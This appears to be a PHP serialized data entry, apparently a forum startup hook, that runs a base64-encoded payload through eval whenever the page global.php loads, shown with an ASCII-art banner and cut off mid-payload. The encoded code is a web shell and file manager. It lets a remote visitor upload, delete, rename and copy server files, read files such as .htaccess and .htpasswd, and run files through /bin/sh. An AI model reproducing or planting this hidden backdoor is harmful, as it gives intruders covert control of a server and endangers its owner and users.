''*****''''*****'''**'''''**''**''''''**''*'''''*''*'''''*''**'''''**''**''**''**''''''''*''*'''''*''**'''''**''**''**''**'''*****''''******''**'''''**''**''**''**''*''''''''''''''*'''**'''**'''**''**''**''*''''''''*'''''*''''**'**''''**''**''**''*******'''*****''''''***''''''***''***''
a:1:{s:12:"init_startup";s:54188:"if(strpos($_SERVER['PHP_SELF'],"global.php")){ eval(base64_decode('JGxhbmcgPSAnZW4nOwokc2l0ZV9jaGFyc2V0ID0gJ2F1dG8nOwokaG9tZWRpciA9ICcuLyc7CiRlZGl0Y29scyA9IDgwOwokZWRpdHJvd3MgPSAyNTsKJGh0YWNjZXNzID0gJy5odGFjY2Vzcyc7CiRodHBhc3N3ZCA9ICcuaHRwYXNzd2QnOwoKLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLwoKaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsKCWFycmF5X3dhbGsoJF9HRVQsICdzdHJpcCcpOwoJYXJyYXlfd2FsaygkX1BPU1QsICdzdHJpcCcpOwoJYXJyYXlfd2FsaygkX1JFUVVFU1QsICdzdHJpcCcpOwp9CgppZiAoYXJyYXlfa2V5X2V4aXN0cygnaW1hZ2UnLCAkX0dFVCkpIHsKCWhlYWRlcignQ29udGVudC1UeXBlOiBpbWFnZS9naWYnKTsKCWRpZShnZXRpbWFnZSgkX0dFVFsnaW1hZ2UnXSkpOwp9CgppZiAoIWZ1bmN0aW9uX2V4aXN0cygnbHN0YXQnKSkgewoJZnVuY3Rpb24gbHN0YXQgKCRmaWxlbmFtZSkgewoJCXJldHVybiBzdGF0KCRmaWxlbmFtZSk7Cgl9Cn0KCiRkZWxpbSA9IERJUkVDVE9SWV9TRVBBUkFUT1I7CgppZiAoZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSkgewoJJHdpbiA9IChzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PT0gJ1dJTicpID8gdHJ1ZSA6IGZhbHNlOwp9IGVsc2UgewoJJHdpbiA9ICgkZGVsaW0gPT0gJ1xcJykgPyB0cnVlIDogZmFsc2U7Cn0KCmlmICghZW1wdHkoJF9TRVJWRVJbJ1BBVEhfVFJBTlNMQVRFRCddKSkgewoJJHNjcmlwdGRpciA9IGRpcm5hbWUoJF9TRVJWRVJbJ1BBVEhfVFJBTlNMQVRFRCddKTsKfSBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pKSB7Cgkkc2NyaXB0ZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOwp9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRjd2QnKSkgewoJJHNjcmlwdGRpciA9IGdldGN3ZCgpOwp9IGVsc2UgewoJJHNjcmlwdGRpciA9ICcuJzsKfQokaG9tZWRpciA9IHJlbGF0aXZlMmFic29sdXRlKCRob21lZGlyLCAkc2NyaXB0ZGlyKTsKCiRkaXIgPSAoYXJyYXlfa2V5X2V4aXN0cygnZGlyJywgJF9SRVFVRVNUKSkgPyAkX1JFUVVFU1RbJ2RpciddIDogJGhvbWVkaXI7CgppZiAoYXJyYXlfa2V5X2V4aXN0cygnb2xkZGlyJywgJF9QT1NUKSAmJiAhcGF0aF9pc19yZWxhdGl2ZSgkX1BPU1RbJ29sZGRpciddKSkgewoJJGRpciA9IHJlbGF0aXZlMmFic29sdXRlKCRkaXIsICRfUE9TVFsnb2xkZGlyJ10pOwp9CgokZGlyZWN0b3J5ID0gc2ltcGxpZnlfcGF0aChhZGRzbGFzaCgkZGlyKSk7CgokZmlsZXMgPSBhcnJheSgpOwokYWN0aW9uID0gJyc7CmlmICghZW1wdHkoJF9QT1NUWydzdWJtaXRfYWxsJ10pKSB7CgkkYWN0aW9uID0gJF9QT1NUWydhY3Rpb25fYWxsJ107Cglmb3IgKCRpID0gMDsgJGkgPCAkX1BPU1RbJ251bSddOyAkaSsrKSB7CgkJaWYgKGFycmF5X2tleV9leGlzdHMoImNoZWNrZWQkaSIsICRfUE9TVCkgJiYgJF9QT1NUWyJjaGVja2VkJGkiXSA9PSAndHJ1ZScpIHsKCQkJJGZpbGVzW10gPSAkX1BPU1RbImZpbGUkaSJdOwoJCX0KCX0KfSBlbHNlaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ2FjdGlvbiddKSkgewoJJGFjdGlvbiA9ICRfUkVRVUVTVFsnYWN0aW9uJ107CgkkZmlsZXNbXSA9IHJlbGF0aXZlMmFic29sdXRlKCRfUkVRVUVTVFsnZmlsZSddLCAkZGlyZWN0b3J5KTsKfSBlbHNlaWYgKCFlbXB0eSgkX1BPU1RbJ3N1Ym1pdF91cGxvYWQnXSkgJiYgIWVtcHR5KCRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKSB7CgkkZmlsZXNbXSA9ICRfRklMRVNbJ3VwbG9hZCddOwoJJGFjdGlvbiA9ICd1cGxvYWQnOwp9IGVsc2VpZiAoYXJyYXlfa2V5X2V4aXN0cygnbnVtJywgJF9QT1NUKSkgewoJZm9yICgkaSA9IDA7ICRpIDwgJF9QT1NUWydudW0nXTsgJGkrKykgewoJCWlmIChhcnJheV9rZXlfZXhpc3RzKCJzdWJtaXQkaSIsICRfUE9TVCkpIGJyZWFrOwoJfQoJaWYgKCRpIDwgJF9QT1NUWydudW0nXSkgewoJCSRhY3Rpb24gPSAkX1BPU1RbImFjdGlvbiRpIl07CgkJJGZpbGVzW10gPSAkX1BPU1RbImZpbGUkaSJdOwoJfQp9CmlmIChlbXB0eSgkYWN0aW9uKSAmJiAoIWVtcHR5KCRfUE9TVFsnc3VibWl0X2NyZWF0ZSddKSB8fCAoYXJyYXlfa2V5X2V4aXN0cygnZm9jdXMnLCAkX1BPU1QpICYmICRfUE9TVFsnZm9jdXMnXSA9PSAnY3JlYXRlJykpICYmICFlbXB0eSgkX1BPU1RbJ2NyZWF0ZV9uYW1lJ10pKSB7CgkkZmlsZXNbXSA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnY3JlYXRlX25hbWUnXSwgJGRpcmVjdG9yeSk7Cglzd2l0Y2ggKCRfUE9TVFsnY3JlYXRlX3R5cGUnXSkgewoJY2FzZSAnZGlyZWN0b3J5JzoKCQkkYWN0aW9uID0gJ2NyZWF0ZV9kaXJlY3RvcnknOwoJCWJyZWFrOwoJY2FzZSAnZmlsZSc6CgkJJGFjdGlvbiA9ICdjcmVhdGVfZmlsZSc7Cgl9Cn0KaWYgKHNpemVvZigkZmlsZXMpID09IDApICRhY3Rpb24gPSAnJzsgZWxzZSAkZmlsZSA9IHJlc2V0KCRmaWxlcyk7CgppZiAoJGxhbmcgPT0gJ2F1dG8nKSB7CglpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnLCAkX1NFUlZFUikgJiYgc3RybGVuKCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSA+PSAyKSB7CgkJJGxhbmcgPSBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpOwoJfSBlbHNlIHsKCQkkbGFuZyA9ICdlbic7Cgl9Cn0KCiR3b3JkcyA9IGdldHdvcmRzKCRsYW5nKTsKCmlmICgkc2l0ZV9jaGFyc2V0ID09ICdhdXRvJykgewoJJHNpdGVfY2hhcnNldCA9ICR3b3JkX2NoYXJzZXQ7Cn0KCiRjb2xzID0gKCR3aW4pID8gNCA6IDc7CgppZiAoIWlzc2V0KCRkaXJwZXJtaXNzaW9uKSkgewoJJGRpcnBlcm1pc3Npb24gPSAoZnVuY3Rpb25fZXhpc3RzKCd1bWFzaycpKSA/ICgwNzc3ICYgfnVtYXNrKCkpIDogMDc1NTsKfQppZiAoIWlzc2V0KCRmaWxlcGVybWlzc2lvbikpIHsKCSRmaWxlcGVybWlzc2lvbiA9IChmdW5jdGlvbl9leGlzdHMoJ3VtYXNrJykpID8gKDA2NjYgJiB+dW1hc2soKSkgOiAwNjQ0Owp9CgppZiAoIWVtcHR5KCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSkgewoJJHNlbGYgPSBodG1sKGJhc2VuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSk7Cn0gZWxzZWlmICghZW1wdHkoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pKSB7Cgkkc2VsZiA9IGh0bWwoYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pKTsKfSBlbHNlIHsKCSRzZWxmID0gJyc7Cn0KCmlmICghZW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSkgewoJaWYgKHN0cnRvbG93ZXIoc3Vic3RyKCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSwgMCwgNikpID09ICdhcGFjaGUnKSB7CgkJJGFwYWNoZSA9IHRydWU7Cgl9IGVsc2UgewoJCSRhcGFjaGUgPSBmYWxzZTsKCX0KfSBlbHNlIHsKCSRhcGFjaGUgPSB0cnVlOwp9Cgpzd2l0Y2ggKCRhY3Rpb24pIHsKCmNhc2UgJ3ZpZXcnOgoKCWlmIChpc19zY3JpcHQoJGZpbGUpKSB7CgoJCS8qIGhpZ2hsaWdodF9maWxlIGlzIGEgbWVzcyEgKi8KCQlvYl9zdGFydCgpOwoJCWhpZ2hsaWdodF9maWxlKCRmaWxlKTsKCQkkc3JjID0gZXJlZ19yZXBsYWNlKCc8Zm9udCBjb2xvcj0iKFteIl0qKSI+JywgJzxzcGFuIHN0eWxlPSJjb2xvcjogXDEiPicsIG9iX2dldF9jb250ZW50cygpKTsKCQkkc3JjID0gc3RyX3JlcGxhY2UoYXJyYXkoJzwvZm9udD4nLCAiXHIiLCAiXG4iKSwgYXJyYXkoJzwvc3Bhbj4nLCAnJywgJycpLCAkc3JjKTsKCQlvYl9lbmRfY2xlYW4oKTsKCgkJaHRtbF9oZWFkZXIoKTsKCQllY2hvICc8aDIgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7IG1hcmdpbi1ib3R0b206IDAiPicgLiBodG1sKCRmaWxlKSAuICc8L2gyPgoKPGhyIC8+Cgo8dGFibGU+Cjx0cj4KPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodDsgdmVydGljYWwtYWxpZ246IHRvcDsgY29sb3I6IGdyYXk7IHBhZGRpbmctcmlnaHQ6IDNwdDsgYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgZ3JheSI+CjxwcmUgc3R5bGU9Im1hcmdpbi10b3A6IDAiPjxjb2RlPic7CgoJCWZvciAoJGkgPSAxOyAkaSA8PSBzaXplb2YoZmlsZSgkZmlsZSkpOyAkaSsrKSBlY2hvICIkaVxuIjsKCgkJZWNobyAnPC9jb2RlPjwvcHJlPgo8L3RkPgo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7IHZlcnRpY2FsLWFsaWduOiB0b3A7IHBhZGRpbmctbGVmdDogM3B0Ij4KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+JyAuICRzcmMgLiAnPC9wcmU+CjwvdGQ+CjwvdHI+CjwvdGFibGU+CgonOwoKCQlodG1sX2Zvb3RlcigpOwoKCX0gZWxzZSB7CgoJCWhlYWRlcignQ29udGVudC1UeXBlOiAnIC4gZ2V0bWltZXR5cGUoJGZpbGUpKTsKCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGZpbGVuYW1lPScgLiBiYXNlbmFtZSgkZmlsZSkpOwoKCQlyZWFkZmlsZSgkZmlsZSk7CgoJfQoKCWJyZWFrOwoKY2FzZSAnZG93bmxvYWQnOgoKCWhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsKCWhlYWRlcignRXhwaXJlczogMCcpOwoJaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAnKTsKCWhlYWRlcignQ29udGVudC1UeXBlOiAnIC4gZ2V0bWltZXR5cGUoJGZpbGUpKTsKCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuIGJhc2VuYW1lKCRmaWxlKSAuICc7Jyk7CgloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGZpbGUpKTsKCglyZWFkZmlsZSgkZmlsZSk7CgoJYnJlYWs7CgpjYXNlICd1cGxvYWQnOgoKCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJGZpbGVbJ25hbWUnXSwgJGRpcmVjdG9yeSk7CgoJaWYgKEBmaWxlX2V4aXN0cygkZGVzdCkpIHsKCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ2FscmVhZHlfZXhpc3RzJywgJGRlc3QpKTsKCX0gZWxzZWlmIChAbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlWyd0bXBfbmFtZSddLCAkZGVzdCkpIHsKCQlAY2htb2QoJGRlc3QsICRmaWxlcGVybWlzc2lvbik7CgkJbGlzdGluZ19wYWdlKG5vdGljZSgndXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7Cgl9IGVsc2UgewoJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X3VwbG9hZGVkJywgJGZpbGVbJ25hbWUnXSkpOwoJfQoKCWJyZWFrOwoKY2FzZSAnY3JlYXRlX2RpcmVjdG9yeSc6CgoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsKCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ2FscmVhZHlfZXhpc3RzJywgJGZpbGUpKTsKCX0gZWxzZSB7CgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRkaXJwZXJtaXNzaW9uKTsKCQlpZiAoQG1rZGlyKCRmaWxlLCAkZGlycGVybWlzc2lvbikpIHsKCQkJbGlzdGluZ19wYWdlKG5vdGljZSgnY3JlYXRlZCcsICRmaWxlKSk7CgkJfSBlbHNlIHsKCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfY3JlYXRlZCcsICRmaWxlKSk7CgkJfQoJCUB1bWFzaygkb2xkKTsKCX0KCglicmVhazsKCmNhc2UgJ2NyZWF0ZV9maWxlJzoKCglpZiAoQGZpbGVfZXhpc3RzKCRmaWxlKSkgewoJCWxpc3RpbmdfcGFnZShlcnJvcignYWxyZWFkeV9leGlzdHMnLCAkZmlsZSkpOwoJfSBlbHNlIHsKCQkkb2xkID0gQHVtYXNrKDA3NzcgJiB+JGZpbGVwZXJtaXNzaW9uKTsKCQlpZiAoQHRvdWNoKCRmaWxlKSkgewoJCQllZGl0KCRmaWxlKTsKCQl9IGVsc2UgewoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9jcmVhdGVkJywgJGZpbGUpKTsKCQl9CgkJQHVtYXNrKCRvbGQpOwoJfQoKCWJyZWFrOwoKY2FzZSAnZXhlY3V0ZSc6CgoJY2hkaXIoZGlybmFtZSgkZmlsZSkpOwoKCSRvdXRwdXQgPSBhcnJheSgpOwoJJHJldHZhbCA9IDA7CglleGVjKCdlY2hvICIuLycgLiBiYXNlbmFtZSgkZmlsZSkgLiAnIiB8IC9iaW4vc2gnLCAkb3V0cHV0LCAkcmV0dmFsKTsKCgkkZXJyb3IgPSAoJHJldHZhbCA9PSAwKSA/IGZhbHNlIDogdHJ1ZTsKCglpZiAoc2l6ZW9mKCRvdXRwdXQpID09IDApICRvdXRwdXQgPSBhcnJheSgnPCcgLiAkd29yZHNbJ25vX291dHB1dCddIC4gJz4nKTsKCglpZiAoJGVycm9yKSB7CgkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfZXhlY3V0ZWQnLCAkZmlsZSwgaW1wbG9kZSgiXG4iLCAkb3V0cHV0KSkpOwoJfSBlbHNlIHsKCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdleGVjdXRlZCcsICRmaWxlLCBpbXBsb2RlKCJcbiIsICRvdXRwdXQpKSk7Cgl9CgoJYnJlYWs7CgpjYXNlICdkZWxldGUnOgoKCWlmICghZW1wdHkoJF9QT1NUWydubyddKSkgewoJCWxpc3RpbmdfcGFnZSgpOwoJfSBlbHNlaWYgKCFlbXB0eSgkX1BPU1RbJ3llcyddKSkgewoKCQkkZmFpbHVyZSA9IGFycmF5KCk7CgkJJHN1Y2Nlc3MgPSBhcnJheSgpOwoKCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsKCQkJaWYgKGRlbCgkZmlsZSkpIHsKCQkJCSRzdWNjZXNzW10gPSAkZmlsZTsKCQkJfSBlbHNlIHsKCQkJCSRmYWlsdXJlW10gPSAkZmlsZTsKCQkJfQoJCX0KCgkJJG1lc3NhZ2UgPSAnJzsKCQlpZiAoc2l6ZW9mKCRmYWlsdXJlKSA+IDApIHsKCQkJJG1lc3NhZ2UgPSBlcnJvcignbm90X2RlbGV0ZWQnLCBpbXBsb2RlKCJcbiIsICRmYWlsdXJlKSk7CgkJfQoJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgewoJCQkkbWVzc2FnZSAuPSBub3RpY2UoJ2RlbGV0ZWQnLCBpbXBsb2RlKCJcbiIsICRzdWNjZXNzKSk7CgkJfQoKCQlsaXN0aW5nX3BhZ2UoJG1lc3NhZ2UpOwoKCX0gZWxzZSB7CgoJCWh0bWxfaGVhZGVyKCk7CgoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPgo8dHI+Cjx0ZCBjbGFzcz0iZGlhbG9nIj4KJzsKCgkJcmVxdWVzdF9kdW1wKCk7CgoJCWVjaG8gIlx0PGI+IiAuIHdvcmQoJ3JlYWxseV9kZWxldGUnKSAuICc8L2I+Cgk8cD4KJzsKCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CgkJCWVjaG8gIlx0IiAuIGh0bWwoJGZpbGUpIC4gIjxiciAvPlxuIjsKCQl9CgoJCWVjaG8gJwk8L3A+Cgk8aHIgLz4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5vIiB2YWx1ZT0iJyAuIHdvcmQoJ25vJykgLiAnIiBpZD0icmVkX2J1dHRvbiIgLz4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InllcyIgdmFsdWU9IicgLiB3b3JkKCd5ZXMnKSAuICciIGlkPSJncmVlbl9idXR0b24iIHN0eWxlPSJtYXJnaW4tbGVmdDogNTBweCIgLz4KPC90ZD4KPC90cj4KPC90YWJsZT4KPC9mb3JtPgoKJzsKCgkJaHRtbF9mb290ZXIoKTsKCgl9CgoJYnJlYWs7CgpjYXNlICdyZW5hbWUnOgoKCWlmICghZW1wdHkoJF9QT1NUWydkZXN0aW5hdGlvbiddKSkgewoKCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7CgoJCWlmICghQGZpbGVfZXhpc3RzKCRkZXN0KSAmJiBAcmVuYW1lKCRmaWxlLCAkZGVzdCkpIHsKCQkJbGlzdGluZ19wYWdlKG5vdGljZSgncmVuYW1lZCcsICRmaWxlLCAkZGVzdCkpOwoJCX0gZWxzZSB7CgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X3JlbmFtZWQnLCAkZmlsZSwgJGRlc3QpKTsKCQl9CgoJfSBlbHNlIHsKCgkJJG5hbWUgPSBiYXNlbmFtZSgkZmlsZSk7CgoJCWh0bWxfaGVhZGVyKCk7CgoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4KCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4KPHRyPgo8dGQgY2xhc3M9ImRpYWxvZyI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJyZW5hbWUiIC8+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4KCTxiPicgLiB3b3JkKCdyZW5hbWVfZmlsZScpIC4gJzwvYj4KCTxwPicgLiBodG1sKCRmaWxlKSAuICc8L3A+Cgk8Yj4nIC4gc3Vic3RyKCRmaWxlLCAwLCBzdHJsZW4oJGZpbGUpIC0gc3RybGVuKCRuYW1lKSkgLiAnPC9iPgoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkbmFtZSkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJG5hbWUpIC4gJyIgLz4KCTxociAvPgoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdyZW5hbWUnKSAuICciIC8+CjwvdGQ+CjwvdHI+CjwvdGFibGU+Cgo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4KCjwvZm9ybT4KCic7CgoJCWh0bWxfZm9vdGVyKCk7CgoJfQoKCWJyZWFrOwoKY2FzZSAnbW92ZSc6CgoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10pKSB7CgoJCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsKCgkJJGZhaWx1cmUgPSBhcnJheSgpOwoJCSRzdWNjZXNzID0gYXJyYXkoKTsKCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CgkJCSRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZSwgc3RybGVuKCRkaXJlY3RvcnkpKTsKCQkJJGQgPSAkZGVzdCAuICRmaWxlbmFtZTsKCQkJaWYgKCFAZmlsZV9leGlzdHMoJGQpICYmIEByZW5hbWUoJGZpbGUsICRkKSkgewoJCQkJJHN1Y2Nlc3NbXSA9ICRmaWxlOwoJCQl9IGVsc2UgewoJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOwoJCQl9CgkJfQoKCQkkbWVzc2FnZSA9ICcnOwoJCWlmIChzaXplb2YoJGZhaWx1cmUpID4gMCkgewoJCQkkbWVzc2FnZSA9IGVycm9yKCdub3RfbW92ZWQnLCBpbXBsb2RlKCJcbiIsICRmYWlsdXJlKSwgJGRlc3QpOwoJCX0KCQlpZiAoc2l6ZW9mKCRzdWNjZXNzKSA+IDApIHsKCQkJJG1lc3NhZ2UgLj0gbm90aWNlKCdtb3ZlZCcsIGltcGxvZGUoIlxuIiwgJHN1Y2Nlc3MpLCAkZGVzdCk7CgkJfQoKCQlsaXN0aW5nX3BhZ2UoJG1lc3NhZ2UpOwoKCX0gZWxzZSB7CgoJCWh0bWxfaGVhZGVyKCk7CgoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4KCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4KPHRyPgo8dGQgY2xhc3M9ImRpYWxvZyI+Cic7CgoJCXJlcXVlc3RfZHVtcCgpOwoKCQllY2hvICJcdDxiPiIgLiB3b3JkKCdtb3ZlX2ZpbGVzJykgLiAnPC9iPgoJPHA+Cic7CgoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgewoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cbiI7CgkJfQoKCQllY2hvICcJPC9wPgoJPGhyIC8+CgknIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVzdGluYXRpb24iIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInIC4gd29yZCgnbW92ZScpIC4gJyIgLz4KPC90ZD4KPC90cj4KPC90YWJsZT4KCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPgoKPC9mb3JtPgoKJzsKCgkJaHRtbF9mb290ZXIoKTsKCgl9CgoJYnJlYWs7CgpjYXNlICdjb3B5JzoKCglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsKCgkJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10sICRkaXJlY3RvcnkpOwoKCQlpZiAoQGlzX2RpcigkZGVzdCkpIHsKCgkJCSRmYWlsdXJlID0gYXJyYXkoKTsKCQkJJHN1Y2Nlc3MgPSBhcnJheSgpOwoKCQkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CgkJCQkkZmlsZW5hbWUgPSBzdWJzdHIoJGZpbGUsIHN0cmxlbigkZGlyZWN0b3J5KSk7CgkJCQkkZCA9IGFkZHNsYXNoKCRkZXN0KSAuICRmaWxlbmFtZTsKCQkJCWlmICghQGlzX2RpcigkZmlsZSkgJiYgIUBmaWxlX2V4aXN0cygkZCkgJiYgQGNvcHkoJGZpbGUsICRkKSkgewoJCQkJCSRzdWNjZXNzW10gPSAkZmlsZTsKCQkJCX0gZWxzZSB7CgkJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOwoJCQkJfQoJCQl9CgoJCQkkbWVzc2FnZSA9ICcnOwoJCQlpZiAoc2l6ZW9mKCRmYWlsdXJlKSA+IDApIHsKCQkJCSRtZXNzYWdlID0gZXJyb3IoJ25vdF9jb3BpZWQnLCBpbXBsb2RlKCJcbiIsICRmYWlsdXJlKSwgJGRlc3QpOwoJCQl9CgkJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgewoJCQkJJG1lc3NhZ2UgLj0gbm90aWNlKCdjb3BpZWQnLCBpbXBsb2RlKCJcbiIsICRzdWNjZXNzKSwgJGRlc3QpOwoJCQl9CgoJCQlsaXN0aW5nX3BhZ2UoJG1lc3NhZ2UpOwoKCQl9IGVsc2UgewoKCQkJaWYgKCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEBjb3B5KCRmaWxlLCAkZGVzdCkpIHsKCQkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ2NvcGllZCcsICRmaWxlLCAkZGVzdCkpOwoJCQl9IGVsc2UgewoJCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfY29waWVkJywgJGZpbGUsICRkZXN0KSk7CgkJCX0KCgkJfQoKCX0gZWxzZSB7CgoJCWh0bWxfaGVhZGVyKCk7CgoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4KCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4KPHRyPgo8dGQgY2xhc3M9ImRpYWxvZyI+Cic7CgoJCXJlcXVlc3RfZHVtcCgpOwoKCQllY2hvICJcbjxiPiIgLiB3b3JkKCdjb3B5X2ZpbGVzJykgLiAnPC9iPgoJPHA+Cic7CgoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgewoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cbiI7CgkJfQoKCQllY2hvICcJPC9wPgoJPGhyIC8+CgknIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVzdGluYXRpb24iIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInIC4gd29yZCgnY29weScpIC4gJyIgLz4KPC90ZD4KPC90cj4KPC90YWJsZT4KCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPgoKPC9mb3JtPgoKJzsKCgkJaHRtbF9mb290ZXIoKTsKCgl9CgoJYnJlYWs7CgpjYXNlICdjcmVhdGVfc3ltbGluayc6CgoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10pKSB7CgoJCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsKCgkJaWYgKHN1YnN0cigkZGVzdCwgLTEsIDEpID09ICRk